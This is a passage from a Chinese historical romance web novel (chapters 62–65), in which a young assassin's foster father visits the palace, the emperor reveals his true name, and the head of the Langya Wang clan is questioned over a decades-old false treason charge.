瘐明出身翼州,翼州毗邻雁门关,关外便是草原,羌族生活的地方。 彼时住在边疆的汉人会和关外的羌人通婚,后来羌人南下征伐,两族势同水火,汉羌通婚留下的血脉也不容于两族,被溺死,被丢弃的婴孩数不胜数。 瘐明有一个养弟,是他少年时从路边捡来的弃婴,具有两族血脉。 尽管那时候,瘐明已经和养弟水火不容,互相厌恶。但丝毫不妨碍这件事成为江左贵族攻讦他的理由,成为了他通羌最大的罪证。 南朝的将军,怎么能有一个流着羌族血统的弟弟? 瘐明当年想要破局,其实很简单,他只要召回养弟瘐安,当众杀了他,以表与羌族势不两立的决心,便可以为自己多争取一点时间。 但他没有,他死在了建康,直到他临死前的前几日,因为和兄长不和、外出游历的瘐安才得到他的消息。 京畿裹着暖香的长风迎面吹来,瘐安走下大舶,眯着眼仰头看向隐在雾中的楼台。 恍惚想起了十七年前,还是少年的他得知兄长满门被定罪,一匹马,带月行,披星走。 三天两夜,急驰一万三千里。 只要够快,就能献上他的头颅,就能保住兄长一家。 可还是晚了。 他只来得及救下年仅三岁的侄儿,给他取名叫赢秀,带着他隐居山林,躲避追杀。 他本以为此生不会再踏入建康。 兜兜转转,又回来了。 赢秀在太极殿走来走去,翘首以望,不知爹爹究竟什么时候进宫,忍不住开口问不远处的太监总管。 太监总管暗自抹了一把汗,未来皇后和自己搭话,该怎么说才能表达自己的忠心? 他迈着小碎步上前,毕恭毕敬道:“郎君,陛下已经派人去接瘐大人了,估摸着时辰,应当快到了。” 赢秀乖乖地“哦”了一声,搬来一只小杌子,坐在殿门前,眼巴巴地瞧着。 瞧着瞧着,思绪渐渐飘远,爹爹一直不喜欢士族,虽然谢舟不是士族,但是他好像比士族还要厉害…… 他和谢舟在一起,爹爹会不会生气? 赢秀搓了搓手,不冷,他心虚的时候就会多出一些小动作。 太极殿前面月台下的层层丹犀上,远远出现了几道身影,几个宦官簇拥着一道九尺高的身影向这边走来。 赢秀腾地站了起来,高兴地朝爹爹挥手。 宫城肃穆威严,瘐安还是生平头一次进宫。 此次进京,是为了给兄长一家平反昭雪,他从未想到还会进宫,谁知三司那群官员一脸讨好,小心翼翼记录他的证词,末了,又有人说,赢秀在宫里等他。 赢秀,在宫里? 他心里有了一种不妙的预感。 远远地看见巍峨大殿里有人朝他招手,瘐安心中那股不安的预感越加强烈。 走近一看,果然是赢秀。 “……你怎么会在这种地方?”忽略身旁宦官的存在,瘐安走进大殿,低声问赢秀。 赢秀愣了一下,老实回答:“因为谢舟在这里。” 瘐安似乎意识到什么,抬头环视宫殿一圈,脸色微微一变,“谢舟,是当今陛下?” 赢秀还没来得及点头夸赞爹爹的反应力,爹爹已经拉着他长吁短叹:“殷家都不是……” 话刚说了个开头,瘐安警惕地左右张望,发现这座大殿里,明里暗里都埋伏了不少人手。 听那细微的呼吸声,这些人都是万一挑一的高手。 赢秀啊赢秀,你究竟惹上了一个什么人? 看赢秀一脸清澈的傻样,瘐安在心里直叹气,他想说什么,又不好开口,只能低声叮嘱赢秀:“你和殷家人相处,可得多小心一点,实在不行,悄悄用轻功溜走,爹自然会来接应你。” 殷是南朝帝姓,赢秀倒是知道,他思考了一会儿,郑重点了点头:“嗯!” 他其实想说,爹,我已经很小心了,晚上睡觉都不会主动扯谢舟的被子,也不会把他踢下床。 但是看着瘐安一脸深沉,整个人仿佛老了十岁,赢秀想想,还是不说了。 仿佛想到什么,瘐安再次开口,尽管十分克制,语气里还是透露出些许震惊:“外头说的那个男后,是你?” 赢秀露出一个心虚的笑容,不远处默默观望的内监总管连忙出声:“瘐大人,别站着说话,快些坐下吧。” 说着,内监总管连忙命人给他们上茶,不仅如此,还一口气把御膳房所有的糕点都送了上来,放在圆案上摆了满满一桌。 但凡赢秀遇到回答不上来的问题,内监总管便会贴心地往瘐安的耳杯中倒茶,瘐安久居山林,不好婉拒别人的好意,倒满了便喝一口。 “你知不知道外头都是怎么说那位……我怎么能放心你和他……”瘐安一边说,一边吨吨吨地喝茶。 内监总管倒茶,瘐安不断地吨吨吨,赢秀慢慢地嚼嚼嚼。 场面一时很和谐。 “……不要了,”瘐安抱紧了空荡荡的耳杯,誓死不肯让内监总管继续倒茶。 说起来,他倒是没想到,统管内廷,万人之上的大内总管,竟然会对赢秀如此尊敬礼遇。 那位暴君对赢秀的态度,可见一斑。 主子上心,奴才也不敢欺辱。 只是,圣心难测,这种恩宠能维持多久? 瘐安为赢秀的前途感到十分发愁,赢秀浑然不知,直到察觉到瘐安不知何时沉默了,他才后知后觉地开口问道:“爹,你怎么了?” 瘐安瞪了他一眼,还我怎么了,我怕你被暴君折磨死。 绕来绕去,勉强绕回重点,问清赢秀原来是琅琊王氏的刺客,瘐安不发一言,良久,终于露出一个微笑。 赢秀十分熟悉这个笑容,一般他爹这么笑,就代表有人要倒霉了。 殿内一老一少,一个阴恻恻地微笑,一个傻乎乎地看着对方。 殿外,宫人正要开口通报,帝王轻轻摆手,制止了他。 望着陛下的身影,宫人不免在心里嘀咕,他怎么觉得,今日陛下穿得比以往还要威严庄重,仿佛要去见什么大人物似的。 瘐安正要再提点赢秀几句,谁知赢秀骤然起身,眉眼弯弯,径直朝某个方向扑去:“谢舟!你回来啦!” 谢舟伸手,熟练地接住朝他扑来的少年,低眉看了赢秀好一会儿,这才抬眸望向  瘐安。 瘐安也跟着站起身,望着这一幕,说不出心底是什么感受。 赢秀没有关于生身父母的记忆,他却记得无比清楚,先帝阴晴不定,多疑善变,前脚还给得胜归来的兄长封了爵位,后脚便借由将他满门抄斩。 流着先帝血脉的昭肃帝,又能是什么好东西? 这些年来民间骂他暴君的人数不胜数,那些士族高官,王侯将相的头颅滚滚落下,足以砌成一座高耸入云的京观。 他只怕…… 瘐安仰起头,明晃晃地直视帝王,脸上没有表情。 高峻巍然的帝王怀里揽着赢秀,眼眸岑寂,威仪清淡,倒像是收敛了气势,平静地俯视他,神色淡淡,带着久居上位的寡淡厌倦,仿佛在他眼中,世间万物都是蝼蚁。 而他,与那些蝼蚁没什么区别,能出现在帝王面前,全是看在赢秀的面子上。 高傲,冰冷,甚至连一丝厌恶也没有,仅仅是轻轻睨了他一眼。 瘐安心头震悚,他不是傻子,来时宫人教了他面圣的礼仪,他当即下跪,朝帝王磕头:“草民拜见陛下,吾皇万岁万岁万万岁——” 看见爹爹下跪,赢秀连忙挣脱谢舟的怀抱,上前搀扶爹爹,然而任他如何搀扶,瘐安也不肯起身。 帝王的视线落在赢秀的手上,不露痕迹地蹙了一下眉,轻声道:“瘐公请起。” 瘐安这才起身,安静地站在一旁,赢秀的手还搀扶着他,被他小心挣脱了。 赢秀或许看不出来,他这个局外人倒是看得清楚,响名天下的暴君,对赢秀的占有欲强得难以言喻。 唉,知道赢秀从小就喜欢长得好看的,没想到他长大后招惹了一个这样的人物。 美色误人,美色误人啊。 第63章 第 63 章 暴君的本名 日晷上的光影指向酉时, 正是用晚膳的时辰,御膳房的宫人鱼贯而入,依次呈上膳食。 一方长案, 分别坐着三个人, 赢秀挨着帝王, 瘐安坐在对面, 脸上有些拘谨和意外。 他倒是没想到,帝王竟然会和他们同桌用膳, 看不出一丝属于暴君的行事作风, 单看他今日的言行举止,倒像是个温润端方的文人。 真是好演技, 难怪能骗得了他家赢秀,瘐安有点不忿,望着眼前精致华丽的膳食,半天下不去口。 赢秀见不得爹爹拘束, 抬手给他布菜,热情地介绍:“爹, 这些都是我特意让御膳房做的,你尝尝,可好吃了。” 御膳房做的膳食很好吃,是这宫里他第二喜欢的东西。 瘐安咬了一口, 只觉味如嚼蜡, 看着自家孩子坐在皇帝身边,怎么看都刺眼。 唉,他家赢秀还是个十七岁的少年,这皇帝都不知道多少岁了,瞧着至少有二十了。 虽然长得还可以, 勉强也算个美人,但是年纪比赢秀大这么多…… 他越想越愁,无心用膳,赢秀看爹爹这样,难免有点焦急,忍不住起身,凑近了给他夹菜。 帝王低眉,安静地用膳,眸光却一直落在赢秀身上,仿佛赢秀身上系了一根透明的线,随时牵动着他的视线。 赢秀回头一看,一眼便看见了谢舟正在望着他,冷艳的眼眸微微低覆,昳丽动人,他一下晃了神,手里还在一个劲地给爹爹夹菜。 望着碗中堆得跟小山似的菜肴,瘐安陷入了沉默。 赢秀还想继续夹,却被谢舟唤了一声:“赢秀,”自始至终十分平静的帝王对他说道:“过来。” 赢秀乖乖地走了回去,在谢舟身旁落座。 瘐安似乎想说什么,谢舟没有看他一眼,侧眸望着赢秀,“寡人会把你爹爹安置在建康,时常进宫来陪你,好不好?” 他用的是陈述语气,平静无波,仿佛早已做好决定,没有人能更改,至于瘐安的意见,那更加不重要。 直到这一刻才得知自己要在建康定居的瘐安:“……” 赢秀迟疑了一下,看向爹爹,刚想开口问他愿不愿意在此定居,却见瘐安轻轻点了点头,显然是默认了。 少年露出浅浅笑靥,眸如净水,笑眼弯弯,连最爱吃的糕点也顾不上吃了,仰头看着谢舟,凑上去亲了他一下。 顾及着爹爹在场,赢秀亲得很克制,唇略略擦过谢舟的颊边,轻轻触碰微凉的肌肤,迅速分开,低下头,埋头用膳,装作很忙的样子。 谢舟眉眼淡淡,脸上没有什么情绪,只有长眸轻轻弯了弯,极浅的弧度,就连笑,也透着霜雪似的幽寂。 下一刻,他抬眸朝瘐安看来,那一眼冰冷淡漠,看得瘐安下意识浑身紧绷,这些年在山峦中,他遇见猛禽便会不由自主地警惕。 而皇帝带给他的危险感,尤胜那些嗜血好杀的猛禽。 短短的一个对视,气氛紧绷肃杀,几乎要在半空中撞击出金石之鸣。 不过一息,皇帝淡淡地移开目光,视线笼罩在身旁的金裳少年身上,原本冰冷的眼眸总算有了些温度。 赢秀对这一切无知无觉,他还在专心致志地用膳。 这顿饭吃得瘐安浑身难受,他看不惯自家的白菜被猪拱了,甚至还随时有性命之虞,只要对方一句话,便能要了赢秀的性命。 甚至,会比死亡更加恐怖。 赢秀根本不知道他徘徊在一个怎样危险的悬崖边,乐呵呵地吃着谢舟剥的葡萄,听闻爹爹就要出宫,他连忙起身相送。 谢舟剥好的葡萄递到一半,少年已经起身追到殿门,他的指尖顿了顿,慢慢收了回去,将葡萄搁在冰碟中。 “不必送我了,”瘐安低声对赢秀说。 从他这个视角,可以清晰地看见赢秀身后的帝王,正在目不转睛地盯着赢秀,占有,喜爱…… 一种堪称冷静的疯魔。 赢秀已经习惯了谢舟粘人的性子,随便他怎么看,照样站在殿门和爹爹说话:“爹,寿春坞主案,如今查得怎么样了?” 赢秀知道,他只要开口问谢舟,谢舟便会事无巨细地告诉他,但是,他更想听爹爹说。 毕竟,这桩案子对于爹爹来说意义非凡。 这关乎着瘐家,以及当年随着瘐家南迁江左的流民,成百上千个人的清白。 瘐家人含冤而死,几十年来无人问津,不能让忠魂世世代代背负着通敌叛国的骂名。 闻言,瘐安顿时心情复杂,当年给瘐家定罪的,是殷家人,如今给瘐家翻案的,也是殷家人。 元熙帝和昭肃帝,前者软弱,被士族掣肘,安于现状,不辨是非,昭肃帝倒是手段刚硬,杀伐果断,虽有暴君之名,却从不对百姓出手。 说起来,他确实要感激陛下,若没有陛下出手翻案,只怕瘐家永无昭雪之日。 赢秀歪了歪头,在爹爹面前伸出手晃了晃,也不知爹爹究竟在想什么,立在殿门外,久久没有回神。 他挥了好几下手,爹爹终于如梦初醒,低头,像是在看他,又像是越过他,看着他身后的人。 “你们要好好过日子,”千言万语,都化作这一句话,瘐安对赢秀道。 来日方长,谁能保证皇帝永远这么爱重赢秀?即使他真的能做到,南朝风云诡谲,也不知他能在皇位上坐多久。 一旦皇帝死了,赢秀作为男后,只怕下场好不到哪去。 譬如朝露,去日苦多。 看着爹爹一脸深沉,赢秀仿佛意识到了什么,重重点头,神色认真,他会的! 即使谢舟养不起他,他也可以靠自己养活谢舟和他。 他的剑很快,一切问题都会在剑下迎刃而解。 瘐安没有说话,心想,大概傻人也有傻福,希望赢秀可以一直这样傻下去。 远处宫道早已点起了琉璃灯,铺开一片剔透光晕,照亮了归者的前路。 赢秀立在殿前,望着爹爹的身影渐行渐远,他似乎想起什么,噔噔噔地跑回殿中,“谢舟,你叫什么名字?” 这是少年得知他的身份以来,第一次开口问他的名字,这是不是意味着,赢秀其实愿意试着接纳真实的他? 彻底成为帝王的眷侣,而非门客谢舟的。 少年一句话,牵动他思绪万千。 帝王不动声色地剥着葡萄,葡萄圆润青绿,被剥开纤薄表皮,露出柔软细腻的果肉,汁水在指尖绽开。 在那双修长昳丽的手上,晕开一点淡青色泽。 “我的名字?”帝王声音低沉缓和,语速放得比平日还要慢一些,似乎刻意想让赢秀听得更清楚。 “殷奂,”他说。 赢秀听得认真,刚想说些什么,对方的指尖捏着葡萄,递到他唇边。 他下意识微微张开口,咬住葡萄,正要合上齿关,探进他口中的指尖却没有退出来。 少年恼了,一口下去,不仅咬碎葡萄,还在那截指尖上留下了一道细细的齿印。 帝王抽出手,神色淡淡,丝毫不见吃痛,反倒让赢秀后悔自己没咬得更重一点。 赢秀思绪被打断,险些没想起自己刚才要说什么了,苦思冥想了一番,总算记起,迫不及待地问道:“奂,是不是美丽,盛大的意思?” 他在书上看到过这个词,美丽,盛大,当时也不知究竟何人何景,才能担得起这个字。现在倒觉得,皇帝和这个字很是相衬。 帝王安静不语,慢慢地摩挲指腹上的齿痕,眼睫低覆,记忆有一瞬间的溯洄。 钧天广乐,奇丽之观。 帝室皇居,非常之宝。 建元元年,恩爱不渝的帝后为他们刚出生的皇长子取下了这个名字,一个奂字,寄托了无尽宠爱。 比起这些久远的过往,殷奂更喜欢赢秀说的话。 美丽,盛大。 听起来,就对赢秀有致命的吸引力。 少年慕艾,他天生就会为这些东西驻足,一步步靠近,一步步沉沦。 皇帝轻轻颔首,表示赢秀的猜想是对的。 赢秀眼眸亮晶晶的,发自内心地夸奖:“这个名字好适合你,” 还有一句话他没有说出口,美人就该配美名,如此才算相得益彰。 帝王轻轻一笑,唇边弯起一道浅浅的弧度,很淡,如同三月春风,冰雪初霁。 赢秀忍不住也跟着弯唇,星星眼望着帝王,少年循着本能,忍不住靠近,距离渐渐越拉越近。 帝王适时闭上了眼,薄薄的眼帘阖着,静静地等待一个吻。 “噗嗤——” 殿内骤然响起一阵鸟翅扑掕的声响。 赢秀忍不住循声望去,距离又被迅速拉远,察觉到眼前人已经走远,帝王缓缓睁开眼,漆黑眼眸毫无情绪,冷冷地盯着不知何时飞进来的鸱鸮。 鸱鸮身后跟着一连串的鸱鸮,有大有小,排在它身后,俨然已经奉它为老大。 赢秀一眼便认出这些鸱鸮都是属于同僚的,他有几位相熟的同僚没有参加刺杀,如今应当还在琅琊王氏府邸中当刺客。 他走过去,当着帝王的面,毫不避讳地挨个解下那群鸱鸮脚上的信条。 一个个将信条摊开,看清上面的内容,少年的脸色微微一变。 第64章 第 64 章 为何不求我 每一张信条上面都在问赢秀的安危, 问他还活着吗,如今身在何处,字里行间, 看得出他们有多么期盼他还活着。 他们还说, 长公子不顾阻拦, 为他置办了葬仪, 十具棺椁,分不清哪一个是他, 便全部下葬, 身披麻衣,长街相送。 主公因此勃然大怒, 认为长公子此举是在诅咒他,父子决裂,长公子办完丧仪后便离家远走,不知去向。 赢秀指尖捏着信条, 心情无比复杂,他虽然有所猜测, 却没想到,鉴心竟然能为他做到这个地步。 琅琊王氏的长公子,士族高门未来的继承人,抛弃出身, 与家族割席, 孤身远走他乡。 太极殿刺杀过后,他只向爹爹和鉴心报了平安,没有告诉交好的同僚自己还活着。 想来那时鉴心早已远走,恰好错过了他的信条。 要不是鸟带来了同僚养的鸱鸮,只怕他还被蒙在鼓里, 对此一无所知。 谢舟那日告诉他,他猜对了,他怎么也没想到,竟然是这样。 竟然是为了给他下葬,才会和主公闹掰。 赢秀立在原地,一脸愣怔,细眉微微蹙着,清澈眼眸中满是懊悔。 他想把鉴心找回来,至少,要让他知道,他还活着。 少年心思简单,一眼便能看穿,帝王放下手中的葡萄,用帕子慢慢擦拭指尖,朝他走来。 他停下脚步没有开口,只是屹立在赢秀不远处,静静地俯视赢秀,安静地等待着。 等待着赢秀向他开口,求他把王守真找回来。 赢秀求他,他不会拒绝。 他只希望,自己能忍住不杀王守真。 他耐心等了片刻,少年还是没有开口。 赢秀虽然年纪轻,出世不久,但是他性情敏锐,能够辨别喜恶。 他知道谢舟本来就不喜欢鉴心,他表现得越在意鉴心,谢舟就会越讨厌鉴心。 赢秀装作若无其事,叠好信条,想了想,最终还是没有给他们回信。 如今正是多事之秋,等到寿春坞主案翻案,再和他们相会也不迟。 一排鸱鸮蹲在角落,眼巴巴地望着最前面那只圆滚滚的鸱鸮,鸟偏头看了一旁的内监总管一眼,总管见势上前,挨个给它们递上鸟粮。 赢秀望着鸱鸮排排蹲着吃粮,也不知在想什么,有一瞬间的晃神。 一个修长冰冷的东西擦过他的面颊,拣起一缕细长的发丝,就要别到他耳后。 赢秀下意识偏头,避开那东西,看清是谢舟的指尖,他弯唇笑了一下,笑得有点心不在焉。 “谢——” 赢秀连忙改口:“殷奂,”他有点尴尬地笑了一下,装作若无其事道:“你去忙你的吧。” 这个时辰不是该上晚朝了吗? 据他所知,大臣还有休沐,皇帝没有。 帝王静静地望着他,平静如镜的目光几乎要摄住他的魂魄,洞察他的心底,“你不想把王守真找回来么?” 分明是想的。 既然想,为什么不告诉他? 赢秀原本好好安放在胸膛内的心脏剧烈跳动,一种熟悉的危险感再次降临在他身上,他压下不停叫嚣危险的直觉,对谢舟道: “可是你不喜欢。” 因为谢舟不喜欢这样做,所以赢秀不会逼他。 哪怕这件事对谢舟来说轻而易举。 赢秀不知道他的想法有多天真。 没有人能逼迫南朝的帝王,除非他自己愿意。 帝王深深地凝视赢秀,目光一寸寸,细致地,舔舐。 凉如冷玉的纤长指尖轻轻捧起少年的下颌,抬起他的颈项,居高临下地俯视。 “他是你的至交,是你心目中的兄长,”帝王慢条斯理,不容置喙:“寡人会把他接回来。” 如此一来,赢秀的养父,赢秀的至交,都在建康京师,天子脚下。 赢秀,也只能待在这里。 这些人,都是网,能够帮他牢牢地捕住赢秀。 谢舟还是这么善良,为了照顾他的感受,甚至愿意帮他把鉴心接回来。 赢秀心里的小人已经眼泪汪汪,他眼眸亮晶晶,张开双臂,一把抱住谢舟的腰腹,脑袋顺势靠住对方胸膛蹭了蹭,发自内心道: “谢舟,你真好!” 话刚说出口,少年猛然意识到什么,他又嘴瓢了,连忙改口:“殷奂,你真好。” 帝王没有说话,他知道,赢秀心里还是想着谢舟,没关系,没关系的。 只要赢秀在他身边,唤他什么有何要紧,哪怕就是骂他暴君,骂他桀纣,亦是无妨。 “唤我什么,随你开心。”帝王语气淡淡,看起来并不在意。 无论是他的本名,还是化名,无论是门客谢舟,还是帝王殷奂,都是赢秀唯一的眷侣。 他何必在意赢秀唤他什么,何必。 赢秀闻言松了一口气,说实话,他已经习惯了唤他为谢舟,一时改口,还有些不适应。 少年刺客抱着帝王,抱了半响,终于想起自己要说什么:“找到鉴心,告诉他我还活着,就可以了。” 至于把鉴心接到建康定居…… 虽然他很想时常能见到鉴心,但是鉴心是天生的政客,心怀大志,之所以离开琅琊王氏,必定是有了新的打算。 这句话落在帝王眼里,又有不同的含义,此生不能相伴,告诉他我还活着,就足矣了。 “嘶,”赢秀小声地吸气,他怎么觉得,谢舟放在他腰上的手掌箍紧了些,不露痕迹的收束,仿佛要圈住他似的。 他以牙还牙,暗暗用力,抱紧了谢舟,手心下的腰腹坚硬如铁,精悍健壮,好比钢筋铁骨。 赢秀有点好奇,悄悄捏了捏自己腰上的肉,嗯,是软的。 他伸出手,小心地捏了捏谢舟腰腱上的肉,咦?有点硬,捏不动。 不知道咬不咬得动…… 少年的思绪渐渐飘远,他倒是想趁谢舟睡着,咬他一口试试,想了想,还是遗憾地打消这个念头。 谢舟报复心很重,一旦被他发现,估计他又要…… 赢秀想起什么,脸色煞白,下一刻,头顶陡然传来谢舟湛若冰玉的声音:“嗯。” 既然赢秀不要王守真留下,那么…… 他可以杀了王守真。 赢秀有这么多好友,他悄悄杀一个,想来他不会那么快发觉。 帝王愉悦地想道。 殿外,内监总管兢兢业业地喂饱了每一只鸱鸮,直喂得它们肚子圆滚滚,这才放它们离开。 鸟很矜持地看了他一眼,转了转脑袋,算是对他的赞赏。 内监总管抹了把汗,骄傲地挺起胸膛。 咱南朝未来皇后养的鸟,就是不同凡响! 恰好前朝三司的官员来了,前来向陛下禀报寿春坞主案的进展。 几位身着朱紫衣袍的官员战战兢兢地在太极殿东堂侯着,脑袋朝下,眼睛盯着不知何时铺在地上的华贵地衣,不约而同地疑惑—— 这大殿向来冰冷屹然,何时多了这些温馨的陈设? 咱们陛下,也不是这种性子啊? 用昭肃帝的话来说,这些东西只会阻碍他砍人的速度。 他们心中忐忑,把头埋得愈低了些,远远地,听见几道脚步声,陛下来了! 官员不由更加紧张,虽说陛下这些年收敛了性子,越发沉稳,到底还是那个陛下。 前几年陛下刚登基那会儿,他们一上朝就会和家人隆重告别,就当是此生最后一面。 那时候竖着进宫,横着出来是常有的事。 幸好陛下挑剔,不是谁都杀的,只杀贪官污吏,乱臣贼子,不杀他们这些兢兢业业给南朝干活的。 忽闻璁珑晃动声,看来陛下已经坐上龙椅,朝臣迅速拉回了飘远的思绪,梳理思路,恭恭敬敬地禀报。 缁色璁珑后,帝王端坐如山,身旁坐着金裳少年。 赢秀牵着帝王暄软的袍裾,正襟危坐,脸上有些新奇和忐忑。 坐在天子身旁,高居庙堂,脚下是俯首跪地的朝野权要,身处尊位,轻而易举就可以将大殿内的情形收之眼底。 衣着玄端的宫人垂首侍立两侧,威严肃穆,高堂恢宏瑰丽,浓郁的缁色酿成难言的压迫感。 身处此间,上可仰瞻帷幕,下可俯察天地。① 赢秀说不出心底是何感受,年宴那会儿他忙着用膳,无心留意陈设,此刻坐在东堂,留心听着朝臣述案,倒有一种难言之感。 朝臣说得小心翼翼,话里话外对瘐家评价尤为客气,他自然能听出其中隐含的讨好之意。 而不久之前,整个南朝,除了从翼州来的流民,甚至没有人记得瘐家,纵使记得,对瘐家的评价也是乱臣贼子,通敌叛国。 之所以在短短时日发生翻天覆地的变化,全是因为皇帝,因为皇帝帮他翻案。 在绝对的强权面前,一切可能的阻拦,荡然无存。 谢舟很厉害。 赢秀再一次无比清楚地认识到这一点。 早在谢舟从前给他符节,他就该认识到这一点。 帝王侧眸,低眉看向身旁的少年,却发现少年不知何时正在愣愣地望着他,眼眸盈亮。 帝王难得愣了一下,温声问他:“你想如何处置琅琊王氏?” 琅琊王氏,南朝四大士族居二的高门,建元年间,一度和皇室二分天下,权势滔天,日转千阶。 如今,这座叱咤南朝百年的士族,下场如何,竟然被掌握在另一个人手中。 朝臣忍不住抬首,想看看那个人是谁。 第65章 第 65 章 是他?! 璁珑后, 金裳少年坐在帝王身侧,箭袖缀銮铃,领襟钉明珠, 雪白裾袍边缘绣了一圈蹁跹逶迤的金鹤。 金色发带束起漆发, 鬓发垂向两侧, 当真是神秀无俦, 风姿绰绝。 是那位传说中的男后。 朝臣还不及继续细看,冷不丁撞上陛下冰冷恐怖的目光, 悚然一惊, 被庞然大物盯上的恐惧感一寸寸攀上脊梁,死亡的阴影当头笼罩。 他颤颤巍巍地低头, 额头重重地叩在地面,努力地瑟缩身子。 赢秀全然没有注意到那人的目光,他犹豫片刻,对谢舟道:“按南朝的律令处置。” 诬陷朝臣通敌叛国, 残害忠良,按照律令, 理当流放三千里。 在场朝臣无不战战兢兢,那可是琅琊王氏,谁能想到,前不久还在呼风唤雨的高门士族, 有朝一日, 竟然会落得这样的下场。 内监总管走进垂帷,低声对帝王说了什么,他没避讳赢秀,赢秀听得清楚,他是说, 尚书令在外侯着。 南朝尚书令,王道傀。 这是他曾经的主公,更是诬陷瘐家的罪魁祸首。 帝王没有立即发话,垂眸看向赢秀,显然是在等他的意见。 赢秀轻轻点了点头,他也想看看主公究竟会如何为自己辩解。 得到示意,宫人朗声道:“宣尚书令王道傀——” 王道傀褒衣博带,衣冠笔挺,慢慢走入殿内,缓缓跪在地上,形容平静,恭敬道:“微臣叩见陛下——陛下万岁万岁万万岁——” 他此番前来,乃是做足了准备,只要陛下没有立即取他性命,他有把握绝地翻盘。 上首传来帝王漫不经心的声音:“你可要为自己辩解?” 寿春坞主案由三司并审,口风严密,半点风声也没有透漏,王道傀甚至不知道是谁出卖了他,他谨慎道: “微臣上不负苍天,下不负黎民,如今有佞幸诬告微臣,微臣问心无愧。” 好一个问心无愧。 赢秀静静望着他,刺客第一次俯视主公,发觉他的身量全然不似往日那么庞大,甚至能看见他鬓边白发,以及佝偻的脊梁。 一直压在他和鉴心头上的人,其实也不过如此。 王道傀话音甫落,大殿内一片死寂,一道声音霍然响起:“主公,您当年要我做的事,您都不记得了?” 一身素衣的王誉从楹柱走出,与神色愕然的王道傀对视。 王誉身上还带着伤,前不久他被人追杀,那些人冲着他的性命而来,下手无比狠绝,致使他至今还未伤愈。 若非如此,他也不会将主公这些年的所作所为和盘托出。 有琅琊王氏家臣的证词,再加上三司并审,举朝最聪慧最有城府的一群人合力协查,琅琊王氏的罪行算是板上钉钉的。 纵使早有预料,王道傀还是颓然跪地,事到如今,他更加什么都不能说,若是把建章谢氏也拖下水,只怕再无人为他拖延转圜。 头顶传来少年清亮的嗓音:“你没有别的想说了吗?” 天子殿前,谁敢越过天子发问? 王道傀来不及细思,直觉那声音听上去似乎有些熟悉,仿佛在哪里听过。 他骤然抬起头,越过璁珑,看清帷幕后与帝王同坐的少年,金裳明衣,神秀轻盈,和黑衣执剑的刺客生得一模一样! 天底下竟然有两个相貌如此相似的人?! 念头乍然浮起,又被王道傀否决,什么一模一样,他分明就是赢秀! 他派去刺杀的刺客,不仅没死,还成了陛下的男宠,光明正大坐在陛下身侧。 饶是王道傀久经官场,见惯风云,也不免震惊,漆黑瞳孔有一瞬间的溃散,迅速收敛神色,低下头。 “微臣从未做过陷害忠良之事,天地可鉴。”王道傀一字一句,语气恳切,仿佛真的冤了他似的。 赢秀还未说话,王道傀却问道:“敢问贵人,您是不是瘐家的后代?” 王道傀到底是一代权臣,久经世事,来时还不清楚陛下为何无端端帮瘐家翻案,见到赢秀,便什么都明白了。 他早就知道,赢秀是瘐家的后代。 从前在琼花台见到赢秀的第一眼,他便认出他是宿敌的遗孤。 当时想要杀了他,碍于他是长子的救命恩人,又有一身卓绝武艺能够为他所用,而且对自己的身世毫不知情,才勉为其难地留他一命。 倘若瘐明泉下有知,知道他的遗孤被收做刺客,任人调遣,活在刀尖剑锋中,随时都会丧命。 估计他会后悔坚持北伐,后悔当初拒绝了他的招揽,后悔与他为敌。 瘐明有没有后悔,尚且不得而知,王道傀已经后悔了。 ——后悔没杀赢秀,后悔让他刺杀陛下。 殿内众臣眼眸微闪,难怪陛下会为瘐家翻案,原来一怒冲冠为红颜,为了讨男宠欢心。 赢秀知道,一旦承认自己是瘐家的后代,只怕谢舟会背上昏君的骂名。 他犹豫了一下,手背一凉,垂眸一看,帝王伸手轻轻地拍了拍他,无声地安抚。 片刻寂阒。 “是,”少年痛快承认,甚至还夸了王道傀一句:“大人好眼光。” 不知为何,分明主意得逞,能在京畿舆论上略占上风,王道傀却有一种不安的预感,他想起这些日子听到的传闻,陛下爱重男宠,甚至在年宴上让他坐在凤椅上…… 王道傀眉心一跳,猛然意识到自己走了一步错误的棋。 当今陛下,可不是一个囿于世人评价的皇帝,他从来不在乎旁人怎么看他,残暴恣睢,残忍嗜杀。 得罪了陛下心爱的男宠,只怕…… 王道傀脸色不复来时的平静,被禁军请了下去,脚步都有些虚浮。 赢秀望着他佝偻的背影,脑海中想的却是另一件事,若是他的亲生爹爹还在世,估计也是这个年纪。 他有点怅然,思绪飘远,回想起半年前。 那时,他还在给琅琊王氏当刺客,若是有人告诉他,半年后他会坐在太极殿,坐在陛下身旁,审问琅琊王氏的主公。 他只会以为那人吃多了酒打诳语。 谁曾想……当真是翻天覆地。 似是看出赢秀的怅然,帝王轻轻摆手,示意朝臣退下,温声细语道:“有什么跟寡人说,寡人帮你解决。” 赢秀抬起头,顾忌外人在场,开口前思索了一下,唤了一声:“殷奂,” 还未跨出太极殿门槛的朝臣脚下一个踉跄,险些摔得四脚朝天。 不是,这个男宠竟然敢唤陛下的名字。 大胆,着实大胆。 动静太大,赢秀下意识朝那边看去,还不等他看出个什么来,那群朝臣迅速离殿,仿佛身后有洪水猛兽在追。 赢秀:“(⊙o⊙)” 他看起来,有这么吓人吗? 怎么感觉他们都很怕他。 直到那群朝臣消失在视野中,赢秀转头看向帝王,神色已然有几分严肃,认真道:“王氏不愿把谢氏供出来,估计是还指望谢氏会帮他拖延时间。” 显而易见,王道傀在拖延时间。 他似乎有某种把握,笃定只要拖延一段时间,便会有新的转机。 那转机到底是什么? ——建章谢氏? 直觉告诉赢秀,远不止如此。 而且,他还记得,帝王的化名是谢舟,身份是建章谢氏的门客。 虽说是被他错认的,但帝王能认下这个身份,足见他不怎么讨厌。 建章谢氏的主公是天子国舅,太皇太后的兄长。 这种情况下,谢舟还会帮他吗? 帝王笑了一下,他明白赢秀的担忧,看穿他心底的想法,轻描淡写道:“拖延不了多久,你要是不放心,寡人现在就杀了他。” 他是暴君,从不拘泥条条框框,流言蜚语。 朝野权要,士族贵胄,在他眼里,都是一样的。 生死,只在他一念之间。 “不要,”赢秀想也不想就拒绝了。 他不想谢舟因为他背上昏君的骂名,更何况,此案还是一一细查比较好,草率杀了王道傀,万一疏漏了什么,或者冤枉了谁。 那他与当年那些诬陷瘐家的人又有何异? 在这方面,赢秀出奇地执拗。 他非要查得一清二楚,水落石出不可。 帝王轻轻颔首,没有再提直接处决王道傀之事,赢秀却想起什么:“我总感觉他有点不对劲,好像留了底牌,得派人盯紧他,看看他这段时间究竟去过哪里,做过什么。” 刺客的直觉无比敏锐,总能察觉到还未出鞘的剑锋。 